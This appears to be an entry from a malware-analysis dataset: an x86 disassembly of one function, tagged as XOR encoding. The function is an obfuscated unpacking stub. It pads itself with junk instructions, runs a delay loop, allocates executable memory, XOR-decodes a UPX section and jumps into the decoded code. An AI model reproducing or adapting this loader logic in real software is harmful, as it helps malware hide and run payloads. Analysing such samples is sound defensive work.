Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x69a8f330
sub esi, ebx
mov esi, 0xf6fff691
popal
sub esi, 0x605efd4d
inc esi
mov esi, 0
mov ecx, ebx
add edx, 0xeeb645e5
mov edi, edx
mov eax, ecx
add edi, 0xcd4d5f9e
sub edx, edi
mov ebx, eax
sub edi, edx
add edi, edx
inc esi
sub edi, edx
sub edi, edx
cmp esi, 0x1006102
jne 0xa789c6
not edx
mov edi, edx
add edx, 0xb7faf276
or ebx, ebx
sub ebx, 0x8445a155
mov edx, 0xa78796
sub ecx, 0x3234e4af
mov ecx, edi
add ecx, 0xa2f249bd
mov ebx, 0xa7898a
sub ecx, 0xbf71f796
not edi
mov esi, dword [edx]
inc eax
mov ecx, 0x54fd0c57
add ecx, ecx
and esi, 0xff
add eax, ecx
inc ecx
dec eax
xor dword [ebx], esi
not ecx
add ecx, 0x38c21ae9
add eax, edi
inc ebx
and eax, edi
not ecx
and edi, edi
inc edx
add edi, edi
and ecx, eax
cmp ebx, entry0
jl 0xa78a23
and edi, ecx
or edi, eax
sub edi, eax
not eax
not edi
add ecx, edi
add ebx, ebx
or esi, esi
mov edx, 0xa7898e
dec ecx
sub ebx, 0x962397f1
mov edx, dword [edx]
sub edi, ebx
add edi, 1
mov edx, dword [edx]
dec esi
mov edi, 0xb32c83d1
and esi, ecx
push edx
and ebx, ecx
not edi
mov edx, 0xa7898a
and ebx, ebx
add ebx, 0x653767e6
mov edx, dword [edx]
add ecx, 0x165d3d2
and ebx, esi
sub esi, ebx
mov edx, dword [edx]
inc esi
add esi, 0x1a7ff67d
sub ecx, ebx
push 0xa78992
mov ecx, esi
add edi, 0x4b7b8015
call edx
sub esi, 0x2fc46320
add ebx, esi
mov ecx, ebx
pop edx
dec ecx
dec edi
sub esp, 4
mov dword [esp], 0xa7899f
not edi
add ecx, edi
add ebx, 0x47c13229
sub esp, 4
mov dword [esp], eax
sub esi, 0x263b94fc
mov edi, ecx
call edx
mov esi, 0x49e0a60a
and esi, edi
push 0x40
and ebx, ebx
or esi, ebx
not edi
push 0x3000
mov edi, 0x148f1a75
and edi, edi
add ebx, ebx
push 0x20000f4d
add ebx, 0x607ec0d5
or esi, edi
push 0
mov ebx, 0x71a508dc
or ebx, ebx
not ecx
call eax
or esi, edi
mov ebx, ecx
add ebx, 0x44a8ede7
add eax, 0x20000eba
and ebx, esi
sub ebx, ecx
sub ebx, ecx
mov edx, 0x8172eef5
mov ebx, 0x48fcad1b
not edi
mov dword [eax], edx
mov edi, ecx
not ebx
mov edx, dword [eax]
mov edi, 0x58bc2481
mov esi, edi
add ebx, 0x467a4f0c
cmp edx, 0x8172eef5
je 0xa78b77
mov edx, 0
mov al, byte [edx]
mov ebx, edi
sub ecx, 0xeffd2e5
add ebx, 0x6287f174
sub edi, esi
dec edi
sub ebx, esi
inc ebx
mov ecx, section.UPX1
add esi, ebx
sub ebx, 1
mov edi, 0xa78795
dec ebx
and ebx, esi
mov eax, 0
and ebx, esi
sub ebx, 0xd80943f4
mov edx, 0xa78796
mov esi, 0xf1e34dc1
sub ebx, esi
mov esi, 0x1cc23618
lea edx, [edx + eax]
or ebx, esi
dec ebx
dec esi
mov edx, dword [edx]
dec ebx
add ebx, ebx
and edx, 0xff
add ebx, ebx
or esi, ebx
add esi, ebx
inc eax
sub ebx, 1
sub esi, ebx
not esi
cmp eax, 0x1f4
jne 0xa78bee
mov eax, 0
sub ebx, 0xeced230c
add ebx, ebx
sub ebx, 0x1763da87
mov ebx, esi
inc ebx
xor dword [ecx], edx
add ebx, 0x8462a7ce
mov esi, 0x372f698b
add ecx, 2
dec esi
or ebx, esi
cmp ecx, edi
jl 0xa78bad
add esi, 0x4d0f6f11
or esi, esi
sub esi, ebx
not esi
mov edi, section.UPX1
or edx, edx
mov edx, eax
mov ecx, section.UPX1
sub eax, edx
sub edx, eax
mov eax, edx
mov esi, 0xa78795
and edx, eax
mov eax, edx
add eax, 1
mov ebx, 0
add edx, eax
add edx, 0x50e93cdc
add eax, 0x1231a81
mov bl, byte [ecx]
or eax, edx
not eax
mov byte [edi], bl
mov edx, eax
mov eax, edx
inc edi
mov edx, 0xba9b3f96
mov edx, eax
add ecx, 2
not eax
add edx, edx
sub eax, 0x98c7da12
cmp ecx, esi
jle 0xa78c5f
inc eax
sub edx, eax
add esi, esi
add esi, 1
or esi, esi
push 0x8dc6a0
and ebx, esi
mov esi, ebx
ret